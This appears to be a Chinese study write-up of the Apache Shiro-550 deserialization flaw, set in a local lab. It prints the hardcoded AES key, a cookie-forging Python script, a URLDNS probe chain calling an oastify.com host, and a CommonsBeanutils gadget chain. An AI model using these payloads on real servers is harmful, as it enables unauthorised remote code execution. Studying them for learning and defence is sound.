前言
しろ(Shi ro)
走完CB链再回来看这个
参考:
https://natro92.fun/posts/4b382a45/
《Java安全漫谈》
环境配置
环境:jdk1.8 + tomcat 8.5.98 + shiro 1.2.4
这里直接用p神的项目了:https://github.com/phith0n/JavaThings/tree/master/shirodemo
下载后直接用IDEA打开,配置一下tomcat环境

运行配置

Tips:如果tomcat控制台日志出现乱码,请修改 tomcat 服务器文件夹下的 /conf/logging.properties,将里面的encoding全部换成GBK
Tips:只有下载了源码才能在全局搜索中搜到对应调用的方法:请在 设置-Maven-正在导入 内修改
然后等待tomcat服务完全启动之后访问 tomcat 服务器文件夹下 webapps 里对应的路由即可,这里是 Shiro_war


账密在 shiro.ini 里
Shiro550
Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550)
Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险
漏洞原理
勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段,其值经过了序列化,AES加密,Base64加密三步,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell

分析
逆向分析,从 Cookie 的加密过程入手,直接在 IDEA 里面全局搜索 Cookie,去找 Shiro 包里的类
最终是找到了CookieRememberMeManager这个类,观察getRememberedSerializedIdentity方法

分析代码,先判断是否为 http 请求,是的话获取 cookie 参数
然后判断 cookie 值是否为 deleteMe
不是的话则判断是否符合base64的编码长度,然后进行base64解码并返回

现在 ctrl+shift+alt+f7 找一下调用了getRememberedSerializedIdentity的方法
找到了 AbstractRememberMeManager#getRememberedPrincipals 方法

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
这里先调用了 getRememberedSerializedIdentity 取出 cookie 给 bytes 数组
然后 bytes 数组里面的内容会进 convertBytesToPrincipals 方法,最后返回
现在看看convertBytesToPrincipals方法:

沃趣,deserialize,别急
decrypt
先看前面 decrypt 解密的操作:

先用getCipherService获取密钥服务,即AOP的实现类
接下来看cipherService.decrypt
ByteSource decrypt(byte[] encrypted, byte[] decryptionKey) throws CryptoException;
传入两个参数,第一个是加密的 cookie ,第二个是 key
看一下这里作为 key 的getDecryptionCipherKey()方法:
private byte[] decryptionCipherKey;
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}
是个常量,找一下是谁调用了decryptionCipherKey

前者是 getDecryptionCipherKey ,而后者是 setDecryptionCipherKey
public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
this.decryptionCipherKey = decryptionCipherKey;
}
一路往上跟


至此,得到我们在找的常量名DEFAULT_CIPHER_KEY_BYTES,跟进去看看

是一个硬编码在源码里的固定key:kPH+bIxk5D2deZiIxcaaaA==
于是在这里,我们发现 shiro 进行 Cookie 加密的 AES 算法的密钥是一个常量
deserialize
现在回到刚才的位置看看 deserialize 方法,跟进去

是个接口,继续跟看看谁实现了这个接口

ctrl+alt+b 查找接口的实现类

进DefaultSerializer看看

调用了 readObject ,是了,这就是我们的入口类
加密过程
要伪造cookie,就得先熟悉加密流程
直接下断点在AbstractRememberMeManager#onSuccessfulLogin里面,因为要开启rememberMe选项,所以直接锁定这里的isRememberMe(token),判断有没有选中 RememberMe

然后进入rememberIdentity

getIdentityToRemember里面一串调用会保存用户名

接下来回到rememberIdentity,传入两个参数进入重写的rememberIdentity

进入 convertPrincipalsToBytes 方法,和之前解密部分里面的convertBytesToPrincipals相似,不过将解密变成了加密,反序列化变成了序列化
先看 serialize


然后看 encrypt

cipherService直接告诉我们是AES了,然后是getEncryptionCipherKey方法和前面解密同理,一路跟过去可以知道是那个硬编码的常量
接下来就是rememberSerializedIdentity方法

cookie过一次base64编码,就这样
漏洞利用
首先当然是准备一个AES加密脚本,上面 cipherService 那里也展示了相关的参数,比如加密模式是CBC:
import base64
import uuid
from Crypto.Cipher import AES
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
if __name__ == "__main__":
filename = r"D:\Code\Java\Test\ser.bin"
with open(filename, 'rb') as f:
data = f.read()
print(aes_enc(data))
URLDNS链
URLDNS 只需要 JDK 的包,所以一般用于检测是否存在反序列化漏洞,掏出之前写的urldns
package com.example.urldns;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap ht=new HashMap();
String url = "http://xtu23zlvbrt60860mj4zrotjpav1jv7k.oastify.com";
URLStreamHandler handler = new TestURLStreamHandler();
URL u = new URL(null,url,handler);
ht.put(u,url);
Class clazz = Class.forName("java.net.URL");
Field field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
Serialize(ht);
}
public static void Serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object Unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
class TestURLStreamHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
@Override
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
将 AES 加密出来的编码替换包中的 RememberMe Cookie,将 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe


CB链
package com.example.cb;
import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception{
byte[] code = Utils.GenerateEvil();
TemplatesImpl obj = new TemplatesImpl();
Utils.SetValue(obj, "_name","0w0");
Utils.SetValue(obj, "_bytecodes", new byte[][]{code});
Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(2);
Utils.SetValue(beanComparator, "property", "outputProperties");
Utils.SetValue(queue, "queue", new Object[]{obj, obj});
// String barr = Utils.Serialize(queue);
// System.out.println(barr);
// Utils.UnSerialize(barr);
Utils.Serbin(queue);
}
}
打的过程中遇到了一点小问题,shiro 自带的 cb 版本是1.8.3,而我的 cb 版本是1.9,报错弹不出计算器
Caused by: java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的
serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患
怎么办?本地降级吧(

CC11链
还没学
漏洞探测
致敬传奇一把梭工具:https://github.com/SummerSec/ShiroAttack2
当密钥不正确或类型转换异常时,目标 Response 包含 Set-Cookie:rememberMe=deleteMe 字段,而当密钥正确且没有类型转换异常时,返回包不存在 Set-Cookie:rememberMe=deleteMe 字段
Shiro721
请看我学shir0721吧(((
粗略看了一下貌似是密钥生成方式改变了,变成了动态生成,而且是CBC模式,和CBC攻击有关,等我回头复习一下密码学